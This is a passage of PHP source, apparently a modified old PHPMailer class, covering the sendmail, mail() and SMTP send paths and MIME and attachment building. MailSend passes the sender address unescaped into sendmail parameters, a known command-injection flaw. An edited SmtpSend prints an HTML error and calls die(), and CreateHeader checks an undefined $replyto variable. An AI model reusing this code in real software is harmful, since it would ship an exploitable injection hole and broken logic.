  1811. // METHODS, MAIL SENDING
  1812. /////////////////////////////////////////////////
  1813.  
  1814. /**
  1815. * Creates message and assigns Mailer. If the message is
  1816. * not sent successfully then it returns false. Use the ErrorInfo
  1817. * variable to view description of the error.
  1818. * @return bool
  1819. */
  1820. function Send() {
  1821. $header = '';
  1822. $body = '';
  1823. $result = true;
  1824.  
  1825. if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1826. $this->SetError($this->Lang('provide_address'));
  1827. return false;
  1828. }
  1829.  
  1830. /* Set whether the message is multipart/alternative */
  1831. if(!empty($this->AltBody)) {
  1832. $this->ContentType = 'multipart/alternative';
  1833. }
  1834.  
  1835. $this->error_count = 0; // reset errors
  1836. $this->SetMessageType();
  1837. $header .= $this->CreateHeader();
  1838. $body = $this->CreateBody();
  1839.  
  1840. if($body == '') {
  1841. return false;
  1842. }
  1843.  
  1844. /* Choose the mailer */
  1845. switch($this->Mailer) {
  1846. case 'sendmail':
  1847. $result = $this->SendmailSend($header, $body);
  1848. break;
  1849. case 'smtp':
  1850. $result = $this->SmtpSend($header, $body);
  1851. break;
  1852. case 'mail':
  1853. $result = $this->MailSend($header, $body);
  1854. break;
  1855. default:
  1856. $result = $this->MailSend($header, $body);
  1857. break;
  1858. //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1859. //$result = false;
  1860. //break;
  1861. }
  1862.  
  1863. return $result;
  1864. }
  1865.  
  1866. /**
  1867. * Sends mail using the $Sendmail program.
  1868. * @access private
  1869. * @return bool
  1870. */
  1871. function SendmailSend($header, $body) {
  1872. if ($this->Sender != '') {
  1873. $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1874. } else {
  1875. $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1876. }
  1877.  
  1878. if(!@$mail = popen($sendmail, 'w')) {
  1879. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1880. return false;
  1881. }
  1882.  
  1883. fputs($mail, $header);
  1884. fputs($mail, $body);
  1885.  
  1886. $result = pclose($mail);
  1887. if (version_compare(phpversion(), '4.2.3') == -1) {
  1888. $result = $result >> 8 & 0xFF;
  1889. }
  1890. if($result != 0) {
  1891. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1892. return false;
  1893. }
  1894. return true;
  1895. }
  1896.  
  1897. /**
  1898. * Sends mail using the PHP mail() function.
  1899. * @access private
  1900. * @return bool
  1901. */
  1902. function MailSend($header, $body) {
  1903.  
  1904. $to = '';
  1905. for($i = 0; $i < count($this->to); $i++) {
  1906. if($i != 0) { $to .= ', '; }
  1907. $to .= $this->AddrFormat($this->to[$i]);
  1908. }
  1909.  
  1910. $toArr = split(',', $to);
  1911.  
  1912. $params = sprintf("-oi -f %s", $this->Sender);
  1913. if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1914. $old_from = ini_get('sendmail_from');
  1915. ini_set('sendmail_from', $this->Sender);
  1916. if ($this->SingleTo === true && count($toArr) > 1) {
  1917. foreach ($toArr as $key => $val) {
  1918. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1919. }
  1920. } else {
  1921. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1922. }
  1923. } else {
  1924. if ($this->SingleTo === true && count($toArr) > 1) {
  1925. foreach ($toArr as $key => $val) {
  1926. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1927. }
  1928. } else {
  1929. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1930. }
  1931. }
  1932.  
  1933. if (isset($old_from)) {
  1934. ini_set('sendmail_from', $old_from);
  1935. }
  1936.  
  1937. if(!$rt) {
  1938. $this->SetError($this->Lang('instantiate'));
  1939. return false;
  1940. }
  1941.  
  1942. return true;
  1943. }
  1944.  
  1945. /**
  1946. * Sends mail via SMTP using PhpSMTP (Author:
  1947. * Chris Ryan). Returns bool. Returns false if there is a
  1948. * bad MAIL FROM, RCPT, or DATA input.
  1949. * @access private
  1950. * @return bool
  1951. */
  1952. function SmtpSend($header, $body) {
  1953. $error = '';
  1954. $bad_rcpt = array();
  1955.  
  1956. if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
  1957. return false;
  1958. }
  1959.  
  1960. $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1961. if(!$this->smtp->Mail($smtp_from)) {
  1962. $error = $this->Lang('from_failed') . $smtp_from;
  1963. $this->SetError($error);
  1964. $this->smtp->Reset();
  1965. return false;
  1966. }
  1967.  
  1968. /* Attempt to send attach all recipients */
  1969. for($i = 0; $i < count($this->to); $i++) {
  1970. if(!$this->smtp->Recipient($this->to[$i][0])) {
  1971. $bad_rcpt[] = $this->to[$i][0];
  1972. }
  1973. }
  1974. for($i = 0; $i < count($this->cc); $i++) {
  1975. if(!$this->smtp->Recipient($this->cc[$i][0])) {
  1976. $bad_rcpt[] = $this->cc[$i][0];
  1977. }
  1978. }
  1979. for($i = 0; $i < count($this->bcc); $i++) {
  1980. if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  1981. $bad_rcpt[] = $this->bcc[$i][0];
  1982. }
  1983. }
  1984.  
  1985. if(count($bad_rcpt) > 0) { // Create error message
  1986. for($i = 0; $i < count($bad_rcpt); $i++) {
  1987. if($i != 0) {
  1988. $error .= ', ';
  1989. }
  1990. $error .= $bad_rcpt[$i];
  1991.  
  1992. }
  1993. $error = $this->Lang('recipients_failed') . $error;
  1994. $this->SetError($error);
  1995. $this->smtp->Reset();
  1996. return false;
  1997. }
  1998.  
  1999. if(!$this->smtp->Data($header . $body)) {
  2000. $this->SetError($this->Lang('data_not_accepted'));
  2001. $this->smtp->Reset();
  2002. return false;
  2003. }
  2004. if($this->SMTPKeepAlive == true) {
  2005. $this->smtp->Reset();
  2006. } else {
  2007. $this->SmtpClose();
  2008. }
  2009.  
  2010. return true;
  2011. }
  2012.  
  2013. /**
  2014. * Initiates a connection to an SMTP server. Returns false if the
  2015. * operation failed.
  2016. * @access private
  2017. * @return bool
  2018. */
  2019. function SmtpConnect() {
  2020. if($this->smtp == NULL) {
  2021. $this->smtp = new SMTP();
  2022. }
  2023.  
  2024. $this->smtp->do_debug = $this->SMTPDebug;
  2025. $hosts = explode(';', $this->Host);
  2026. $index = 0;
  2027. $connection = ($this->smtp->Connected());
  2028.  
  2029. /* Retry while there is no connection */
  2030. while($index < count($hosts) && $connection == false) {
  2031. $hostinfo = array();
  2032. if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  2033. $host = $hostinfo[1];
  2034. $port = $hostinfo[2];
  2035. } else {
  2036. $host = $hosts[$index];
  2037. $port = $this->Port;
  2038. }
  2039.  
  2040. if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  2041. if ($this->Helo != '') {
  2042. $this->smtp->Hello($this->Helo);
  2043. } else {
  2044. $this->smtp->Hello($this->ServerHostname());
  2045. }
  2046.  
  2047. $connection = true;
  2048. if($this->SMTPAuth) {
  2049. if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  2050. $this->SetError($this->Lang('authenticate'));
  2051. $this->smtp->Reset();
  2052. $connection = false;
  2053. }
  2054. }
  2055. }
  2056. $index++;
  2057. }
  2058. if(!$connection) {
  2059. $this->SetError($this->Lang('connect_host'));
  2060. }
  2061.  
  2062. return $connection;
  2063. }
  2064.  
  2065. /**
  2066. * Closes the active SMTP session if one exists.
  2067. * @return void
  2068. */
  2069. function SmtpClose() {
  2070. if($this->smtp != NULL) {
  2071. if($this->smtp->Connected()) {
  2072. $this->smtp->Quit();
  2073. $this->smtp->Close();
  2074. }
  2075. }
  2076. }
  2077.  
  2078. /**
  2079. * Sets the language for all class error messages. Returns false
  2080. * if it cannot load the language file. The default language type
  2081. * is English.
  2082. * @param string $lang_type Type of language (e.g. Portuguese: "br")
  2083. * @param string $lang_path Path to the language file directory
  2084. * @access public
  2085. * @return bool
  2086. */
  2087. function SetLanguage($lang_type, $lang_path = 'language/') {
  2088. if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
  2089. include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  2090. } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  2091. include($lang_path.'phpmailer.lang-en.php');
  2092. } else {
  2093. $this->SetError('Could not load language file');
  2094. return false;
  2095. }
  2096. $this->language = $PHPMAILER_LANG;
  2097.  
  2098. return true;
  2099. }
  2100.  
  2101. /////////////////////////////////////////////////
  2102. // METHODS, MESSAGE CREATION
  2103. /////////////////////////////////////////////////
  2104.  
  2105. /**
  2106. * Creates recipient headers.
  2107. * @access private
  2108. * @return string
  2109. */
  2110. function AddrAppend($type, $addr) {
  2111. $addr_str = $type . ': ';
  2112. $addr_str .= $this->AddrFormat($addr[0]);
  2113. if(count($addr) > 1) {
  2114. for($i = 1; $i < count($addr); $i++) {
  2115. $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  2116. }
  2117. }
  2118. $addr_str .= $this->LE;
  2119.  
  2120. return $addr_str;
  2121. }
  2122.  
  2123. /**
  2124. * Formats an address correctly.
  2125. * @access private
  2126. * @return string
  2127. */
  2128. function AddrFormat($addr) {
  2129. if(empty($addr[1])) {
  2130. $formatted = $this->SecureHeader($addr[0]);
  2131. } else {
  2132. $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  2133. }
  2134.  
  2135. return $formatted;
  2136. }
  2137.  
  2138. /**
  2139. * Wraps message for use with mailers that do not
  2140. * automatically perform wrapping and for quoted-printable.
  2141. * Original written by philippe.
  2142. * @access private
  2143. * @return string
  2144. */
  2145. function WrapText($message, $length, $qp_mode = false) {
  2146. $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  2147. // If utf-8 encoding is used, we will need to make sure we don't
  2148. // split multibyte characters when we wrap
  2149. $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  2150.  
  2151. $message = $this->FixEOL($message);
  2152. if (substr($message, -1) == $this->LE) {
  2153. $message = substr($message, 0, -1);
  2154. }
  2155.  
  2156. $line = explode($this->LE, $message);
  2157. $message = '';
  2158. for ($i=0 ;$i < count($line); $i++) {
  2159. $line_part = explode(' ', $line[$i]);
  2160. $buf = '';
  2161. for ($e = 0; $e<count($line_part); $e++) {
  2162. $word = $line_part[$e];
  2163. if ($qp_mode and (strlen($word) > $length)) {
  2164. $space_left = $length - strlen($buf) - 1;
  2165. if ($e != 0) {
  2166. if ($space_left > 20) {
  2167. $len = $space_left;
  2168. if ($is_utf8) {
  2169. $len = $this->UTF8CharBoundary($word, $len);
  2170. } elseif (substr($word, $len - 1, 1) == "=") {
  2171. $len--;
  2172. } elseif (substr($word, $len - 2, 1) == "=") {
  2173. $len -= 2;
  2174. }
  2175. $part = substr($word, 0, $len);
  2176. $word = substr($word, $len);
  2177. $buf .= ' ' . $part;
  2178. $message .= $buf . sprintf("=%s", $this->LE);
  2179. } else {
  2180. $message .= $buf . $soft_break;
  2181. }
  2182. $buf = '';
  2183. }
  2184. while (strlen($word) > 0) {
  2185. $len = $length;
  2186. if ($is_utf8) {
  2187. $len = $this->UTF8CharBoundary($word, $len);
  2188. } elseif (substr($word, $len - 1, 1) == "=") {
  2189. $len--;
  2190. } elseif (substr($word, $len - 2, 1) == "=") {
  2191. $len -= 2;
  2192. }
  2193. $part = substr($word, 0, $len);
  2194. $word = substr($word, $len);
  2195.  
  2196. if (strlen($word) > 0) {
  2197. $message .= $part . sprintf("=%s", $this->LE);
  2198. } else {
  2199. $buf = $part;
  2200. }
  2201. }
  2202. } else {
  2203. $buf_o = $buf;
  2204. $buf .= ($e == 0) ? $word : (' ' . $word);
  2205.  
  2206. if (strlen($buf) > $length and $buf_o != '') {
  2207. $message .= $buf_o . $soft_break;
  2208. $buf = $word;
  2209. }
  2210. }
  2211. }
  2212. $message .= $buf . $this->LE;
  2213. }
  2214.  
  2215. return $message;
  2216. }
  2217.  
  2218. /**
  2219. * Finds last character boundary prior to maxLength in a utf-8
  2220. * quoted (printable) encoded string.
  2221. * Original written by Colin Brown.
  2222. * @access private
  2223. * @param string $encodedText utf-8 QP text
  2224. * @param int $maxLength find last character boundary prior to this length
  2225. * @return int
  2226. */
  2227. function UTF8CharBoundary($encodedText, $maxLength) {
  2228. $foundSplitPos = false;
  2229. $lookBack = 3;
  2230. while (!$foundSplitPos) {
  2231. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2232. $encodedCharPos = strpos($lastChunk, "=");
  2233. if ($encodedCharPos !== false) {
  2234. // Found start of encoded character byte within $lookBack block.
  2235. // Check the encoded byte value (the 2 chars after the '=')
  2236. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2237. $dec = hexdec($hex);
  2238. if ($dec < 128) { // Single byte character.
  2239. // If the encoded char was found at pos 0, it will fit
  2240. // otherwise reduce maxLength to start of the encoded char
  2241. $maxLength = ($encodedCharPos == 0) ? $maxLength :
  2242. $maxLength - ($lookBack - $encodedCharPos);
  2243. $foundSplitPos = true;
  2244. } elseif ($dec >= 192) { // First byte of a multi byte character
  2245. // Reduce maxLength to split at start of character
  2246. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2247. $foundSplitPos = true;
  2248. } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  2249. $lookBack += 3;
  2250. }
  2251. } else {
  2252. // No encoded character found
  2253. $foundSplitPos = true;
  2254. }
  2255. }
  2256. return $maxLength;
  2257. }
  2258.  
  2259. /**
  2260. * Set the body wrapping.
  2261. * @access private
  2262. * @return void
  2263. */
  2264. function SetWordWrap() {
  2265. if($this->WordWrap < 1) {
  2266. return;
  2267. }
  2268.  
  2269. switch($this->message_type) {
  2270. case 'alt':
  2271. /* fall through */
  2272. case 'alt_attachments':
  2273. $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  2274. break;
  2275. default:
  2276. $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  2277. break;
  2278. }
  2279. }
  2280.  
  2281. /**
  2282. * Assembles message header.
  2283. * @access private
  2284. * @return string
  2285. */
  2286. function CreateHeader() {
  2287. $result = '';
  2288.  
  2289. /* Set the boundaries */
  2290. $uniq_id = md5(uniqid(time()));
  2291. $this->boundary[1] = 'b1_' . $uniq_id;
  2292. $this->boundary[2] = 'b2_' . $uniq_id;
  2293.  
  2294. $result .= $this->HeaderLine('Date', $this->RFCDate());
  2295. if($this->Sender == '') {
  2296. $result .= $this->HeaderLine('Return-Path', trim($this->From));
  2297. } else {
  2298. $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  2299. }
  2300.  
  2301. /* To be created automatically by mail() */
  2302. if($this->Mailer != 'mail') {
  2303. if(count($this->to) > 0) {
  2304. $result .= $this->AddrAppend('To', $this->to);
  2305. } elseif (count($this->cc) == 0) {
  2306. $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  2307. }
  2308. if(count($this->cc) > 0) {
  2309. $result .= $this->AddrAppend('Cc', $this->cc);
  2310. }
  2311. }
  2312.  
  2313. $from = array();
  2314. $from[0][0] = trim($this->From);
  2315. $from[0][1] = $this->FromName;
  2316. $result .= $this->AddrAppend('From', $from);
  2317.  
  2318. /* sendmail and mail() extract Cc from the header before sending */
  2319. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  2320. $result .= $this->AddrAppend('Cc', $this->cc);
  2321. }
  2322.  
  2323. /* sendmail and mail() extract Bcc from the header before sending */
  2324. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  2325. $result .= $this->AddrAppend('Bcc', $this->bcc);
  2326. }
  2327. if($replyto != "")
  2328. {
  2329. if(count($this->ReplyTo) > 0) {
  2330. $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  2331. }
  2332. }
  2333. /* mail() sets the subject itself */
  2334. if($this->Mailer != 'mail') {
  2335. $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  2336. }
  2337.  
  2338. if($this->MessageID != '') {
  2339. $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  2340. } else {
  2341. $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  2342. }
  2343. $result .= $this->HeaderLine('X-Priority', $this->Priority);
  2344. if($this->ConfirmReadingTo != '') {
  2345. $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  2346. }
  2347.  
  2348. // Add custom headers
  2349. for($index = 0; $index < count($this->CustomHeader); $index++) {
  2350. $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  2351. }
  2352. if (!$this->sign_key_file) {
  2353. $result .= $this->HeaderLine('MIME-Version', '1.0');
  2354. $result .= $this->GetMailMIME();
  2355. }
  2356.  
  2357. return $result;
  2358. }
  2359.  
  2360. /**
  2361. * Returns the message MIME.
  2362. * @access private
  2363. * @return string
  2364. */
  2365. function GetMailMIME() {
  2366. $result = '';
  2367. switch($this->message_type) {
  2368. case 'plain':
  2369. $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  2370. $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  2371. break;
  2372. case 'attachments':
  2373. /* fall through */
  2374. case 'alt_attachments':
  2375. if($this->InlineImageExists()){
  2376. $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  2377. } else {
  2378. $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  2379. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2380. }
  2381. break;
  2382. case 'alt':
  2383. $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  2384. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2385. break;
  2386. }
  2387.  
  2388. if($this->Mailer != 'mail') {
  2389. $result .= $this->LE.$this->LE;
  2390. }
  2391.  
  2392. return $result;
  2393. }
  2394.  
  2395. /**
  2396. * Assembles the message body. Returns an empty string on failure.
  2397. * @access private
  2398. * @return string
  2399. */
  2400. function CreateBody() {
  2401. $result = '';
  2402. if ($this->sign_key_file) {
  2403. $result .= $this->GetMailMIME();
  2404. }
  2405.  
  2406. $this->SetWordWrap();
  2407.  
  2408. switch($this->message_type) {
  2409. case 'alt':
  2410. $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2411. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2412. $result .= $this->LE.$this->LE;
  2413. $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2414. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2415. $result .= $this->LE.$this->LE;
  2416. $result .= $this->EndBoundary($this->boundary[1]);
  2417. break;
  2418. case 'plain':
  2419. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2420. break;
  2421. case 'attachments':
  2422. $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2423. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2424. $result .= $this->LE;
  2425. $result .= $this->AttachAll();
  2426. break;
  2427. case 'alt_attachments':
  2428. $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2429. $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2430. $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2431. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2432. $result .= $this->LE.$this->LE;
  2433. $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2434. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2435. $result .= $this->LE.$this->LE;
  2436. $result .= $this->EndBoundary($this->boundary[2]);
  2437. $result .= $this->AttachAll();
  2438. break;
  2439. }
  2440.  
  2441. if($this->IsError()) {
  2442. $result = '';
  2443. } else if ($this->sign_key_file) {
  2444. $file = tempnam("", "mail");
  2445. $fp = fopen($file, "w");
  2446. fwrite($fp, $result);
  2447. fclose($fp);
  2448. $signed = tempnam("", "signed");
  2449.  
  2450. if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2451. $fp = fopen($signed, "r");
  2452. $result = fread($fp, filesize($this->sign_key_file));
  2453. fclose($fp);
  2454. } else {
  2455. $this->SetError($this->Lang("signing").openssl_error_string());
  2456. $result = '';
  2457. }
  2458.  
  2459. unlink($file);
  2460. unlink($signed);
  2461. }
  2462.  
  2463. return $result;
  2464. }
  2465.  
  2466. /**
  2467. * Returns the start of a message boundary.
  2468. * @access private
  2469. */
  2470. function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2471. $result = '';
  2472. if($charSet == '') {
  2473. $charSet = $this->CharSet;
  2474. }
  2475. if($contentType == '') {
  2476. $contentType = $this->ContentType;
  2477. }
  2478. if($encoding == '') {
  2479. $encoding = $this->Encoding;
  2480. }
  2481. $result .= $this->TextLine('--' . $boundary);
  2482. $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2483. $result .= $this->LE;
  2484. $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2485. $result .= $this->LE;
  2486.  
  2487. return $result;
  2488. }
  2489.  
  2490. /**
  2491. * Returns the end of a message boundary.
  2492. * @access private
  2493. */
  2494. function EndBoundary($boundary) {
  2495. return $this->LE . '--' . $boundary . '--' . $this->LE;
  2496. }
  2497.  
  2498. /**
  2499. * Sets the message type.
  2500. * @access private
  2501. * @return void
  2502. */
  2503. function SetMessageType() {
  2504. if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2505. $this->message_type = 'plain';
  2506. } else {
  2507. if(count($this->attachment) > 0) {
  2508. $this->message_type = 'attachments';
  2509. }
  2510. if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2511. $this->message_type = 'alt';
  2512. }
  2513. if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2514. $this->message_type = 'alt_attachments';
  2515. }
  2516. }
  2517. }
  2518.  
  2519. /* Returns a formatted header line.
  2520. * @access private
  2521. * @return string
  2522. */
  2523. function HeaderLine($name, $value) {
  2524. return $name . ': ' . $value . $this->LE;
  2525. }
  2526.  
  2527. /**
  2528. * Returns a formatted mail line.
  2529. * @access private
  2530. * @return string
  2531. */
  2532. function TextLine($value) {
  2533. return $value . $this->LE;
  2534. }
  2535.  
  2536. /////////////////////////////////////////////////
  2537. // CLASS METHODS, ATTACHMENTS
  2538. /////////////////////////////////////////////////
  2539.  
  2540. /**
  2541. * Adds an attachment from a path on the filesystem.
  2542. * Returns false if the file could not be found
  2543. * or accessed.
  2544. * @param string $path Path to the attachment.
  2545. * @param string $name Overrides the attachment name.
  2546. * @param string $encoding File encoding (see $Encoding).
  2547. * @param string $type File extension (MIME) type.
  2548. * @return bool
  2549. */
  2550. function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2551. if(!@is_file($path)) {
  2552. $this->SetError($this->Lang('file_access') . $path);
  2553. return false;
  2554. }
  2555.  
  2556. $filename = basename($path);
  2557. if($name == '') {
  2558. $name = $filename;
  2559. }
  2560.  
  2561. $cur = count($this->attachment);
  2562. $this->attachment[$cur][0] = $path;
  2563. $this->attachment[$cur][1] = $filename;
  2564. $this->attachment[$cur][2] = $name;
  2565. $this->attachment[$cur][3] = $encoding;
  2566. $this->attachment[$cur][4] = $type;
  2567. $this->attachment[$cur][5] = false; // isStringAttachment
  2568. $this->attachment[$cur][6] = 'attachment';
  2569. $this->attachment[$cur][7] = 0;
  2570.  
  2571. return true;
  2572. }
  2573.  
  2574. /**
  2575. * Attaches all fs, string, and binary attachments to the message.
  2576. * Returns an empty string on failure.
  2577. * @access private
  2578. * @return string
  2579. */
  2580. function AttachAll() {
  2581. /* Return text of body */
  2582. $mime = array();
  2583.  
  2584. /* Add all attachments */
  2585. for($i = 0; $i < count($this->attachment); $i++) {
  2586. /* Check for string attachment */
  2587. $bString = $this->attachment[$i][5];
  2588. if ($bString) {
  2589. $string = $this->attachment[$i][0];
  2590. } else {
  2591. $path = $this->attachment[$i][0];
  2592. }
  2593.  
  2594. $filename = $this->attachment[$i][1];
  2595. $name = $this->attachment[$i][2];
  2596. $encoding = $this->attachment[$i][3];
  2597. $type = $this->attachment[$i][4];
  2598. $disposition = $this->attachment[$i][6];
  2599. $cid = $this->attachment[$i][7];
  2600.  
  2601. $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2602. $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2603. $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2604.  
  2605. if($disposition == 'inline') {
  2606. $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2607. }
  2608.  
  2609. $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2610.  
  2611. /* Encode as string attachment */
  2612. if($bString) {
  2613. $mime[] = $this->EncodeString($string, $encoding);
  2614. if($this->IsError()) {
  2615. return '';
  2616. }
  2617. $mime[] = $this->LE.$this->LE;
  2618. } else {
  2619. $mime[] = $this->EncodeFile($path, $encoding);
  2620. if($this->IsError()) {
  2621. return '';
  2622. }
  2623. $mime[] = $this->LE.$this->LE;
  2624. }
  2625. }
  2626.  
  2627. $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2628.  
  2629. return join('', $mime);
  2630. }
  2631.  
  2632. /**
  2633. * Encodes attachment in requested format. Returns an
  2634. * empty string on failure.
  2635. * @access private
  2636. * @return string
  2637. */
  2638. function EncodeFile ($path, $encoding = 'base64') {
  2639. if(!@$fd = fopen($path, 'rb')) {
  2640. $this->SetError($this->Lang('file_open') . $path);
  2641. return '';
  2642. }
  2643. $magic_quotes = get_magic_quotes_runtime();
  2644. set_magic_quotes_runtime(0);
  2645. $file_buffer = fread($fd, filesize($path));
  2646. $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2647. fclose($fd);
  2648. set_magic_quotes_runtime($magic_quotes);
  2649.  
  2650. return $file_buffer;
  2651. }
  2652.  
  2653. /**
  2654. * Encodes string to requested format. Returns an
  2655. * empty string on failure.
  2656. * @access private
  2657. * @return string
  2658. */
  2659. function EncodeString ($str, $encoding = 'base64') {
  2660. $encoded = '';
  2661. switch(strtolower($encoding)) {
  2662. case 'base64':
  2663. /* chunk_split is found in PHP >= 3.0.6 */
  2664. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2665. break;
  2666. case '7bit':
  2667. case '8bit':
  2668. $encoded = $this->FixEOL($str);
  2669. if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2670. $encoded .= $this->LE;
  2671. break;
  2672. case 'binary':
  2673. $encoded = $str;
  2674. break;
  2675. case 'quoted-printable':
  2676. $encoded = $this->EncodeQP($str);
  2677. break;
  2678. default:
  2679. $this->SetError($this->Lang('encoding') . $encoding);
  2680. break;
  2681. }
  2682. return $encoded;
  2683. }
  2684.  
  2685. /**
  2686. * Encode a header string to best of Q, B, quoted or none.
  2687. * @access private
  2688. * @return string
  2689. */
  2690. function EncodeHeader ($str, $position = 'text') {
  2691. $x = 0;
  2692.  
  2693. switch (strtolower($position)) {
  2694. case 'phrase':
  2695. if (!preg_match('/[\200-\377]/', $str)) {
  2696. /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2697. $encoded = addcslashes($str, "\0..\37\177\\\"");
  2698. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2699. return ($encoded);
  2700. } else {
  2701. return ("\"$encoded\"");
  2702. }
  2703. }
  2704. $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2705. break;
  2706. case 'comment':
  2707. $x = preg_match_all('/[()"]/', $str, $matches);
  2708. /* Fall-through */
  2709. case 'text':
  2710. default:
  2711. $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2712. break;
  2713. }
  2714.  
  2715. if ($x == 0) {
  2716. return ($str);
  2717. }
  2718.  
  2719. $maxlen = 75 - 7 - strlen($this->CharSet);
  2720. /* Try to select the encoding which should produce the shortest output */
  2721. if (strlen($str)/3 < $x) {
  2722. $encoding = 'B';
  2723. if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2724. // Use a custom function which correctly encodes and wraps long
  2725. // multibyte strings without breaking lines within a character
  2726. $encoded = $this->Base64EncodeWrapMB($str);
  2727. } else {
  2728. $encoded = base64_encode($str);
  2729. $maxlen -= $maxlen % 4;
  2730. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2731. }
  2732. } else {
  2733. $encoding = 'Q';
  2734. $encoded = $this->EncodeQ($str, $position);
  2735. $encoded = $this->WrapText($encoded, $maxlen, true);
  2736. $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  2737. }
  2738.  
